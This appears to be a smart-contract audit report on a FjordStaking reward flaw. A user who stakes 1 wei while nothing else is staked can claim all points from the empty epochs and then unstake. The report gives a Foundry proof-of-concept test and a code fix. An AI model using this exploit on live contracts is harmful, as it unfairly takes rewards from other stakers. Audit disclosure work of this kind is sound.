Summary
When the total staked amount == zero.
A user can stake any amount of tokens then immediately claim all the points that were accumulated during consecutive epochs where the total staked amount was zero.
Then, they can unstake in the FjordStaking contract since it is still the same epoch.
Here is the code
Vulnerability Details
PoC
Add the following functions to IFjordPoints.sol
to make it a more complete interface.
pragma solidity =0.8.21;
interface IFjordPoints {
function onStaked(address user, uint256 amount) external;
function onUnstaked(address user, uint256 amount) external;
function claimPoints() external;
function setStakingContract(address) external;
function lastDistribution() external returns (uint256);
function pointsPerEpoch() external returns (uint256);
}
Also, to prevent compiler errors add the following to the FjordPointsMock.sol
pragma solidity =0.8.21;
import { IFjordPoints } from "src/interfaces/IFjordPoints.sol";
contract FjordPointsMock is IFjordPoints {
function onStaked(address user, uint256 amount) external pure {
user;
amount;
}
function onUnstaked(address user, uint256 amount) external pure {
user;
amount;
}
function claimPoints() external { }
function setStakingContract(address placeHolder) external { }
function lastDistribution() external returns (uint256) { }
function pointsPerEpoch() external returns (uint256) { }
}
Paste the following import and test into stake.t.sol
import { console } from "forge-std/Test.sol";
import { IFjordPoints } from "src/interfaces/IFjordPoints.sol";
function test_StakeThenClaimAllPointsForEpoch() public {
address user = makeAddr("user");
IFjordPoints(points).setStakingContract(address(fjordStaking));
uint256 pointsPerEpoch = IFjordPoints(points).pointsPerEpoch();
skip(7 days);
vm.startPrank(user);
deal(address(token), user, 1 wei);
token.approve(address(fjordStaking), 1 wei);
uint256 stakedAmount = 1 wei;
fjordStaking.stake(stakedAmount);
assertEq(token.balanceOf(address(fjordStaking)), stakedAmount);
(bool success, bytes memory data) =
points.call(abi.encodeWithSignature("balanceOf(address)", address(user)));
require(success, "Call Failed in Test");
uint256 userStartPointsBalance = uint256(bytes32(data));
console.log("The users starting point balance is: ", userStartPointsBalance);
assertEq(userStartPointsBalance, 0);
IFjordPoints(points).claimPoints();
(bool success2, bytes memory data2) =
points.call(abi.encodeWithSignature("balanceOf(address)", address(user)));
require(success2, "Call Failed in Test");
uint256 userEndPointsBalance = uint256(bytes32(data2));
console.log("The users userEndPointsBalance is: ", userEndPointsBalance);
assertGt(userEndPointsBalance, userStartPointsBalance);
assertEq(userEndPointsBalance, pointsPerEpoch);
uint256 amountUnstaked = fjordStaking.unstake(2, stakedAmount);
assertEq(amountUnstaked, stakedAmount);
}
Impact
Staking system will be unfair. If an epoch ends with the amount staked == 0
. The first person to stake will receive all the points for the whole epoch. If there are consecutive epochs with amount staked == 0
then the first person to stake will receive all the points for the all the epochs where the amount was zero.
Tools Used
Foundry and manual review
Recommendations
Make the following changes here
if (totalStaked == 0) {
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
return;
}
This will prevent points from accumulating while there is nothing staked in the contract. They will only accumulate while there are tokens staked in the contract.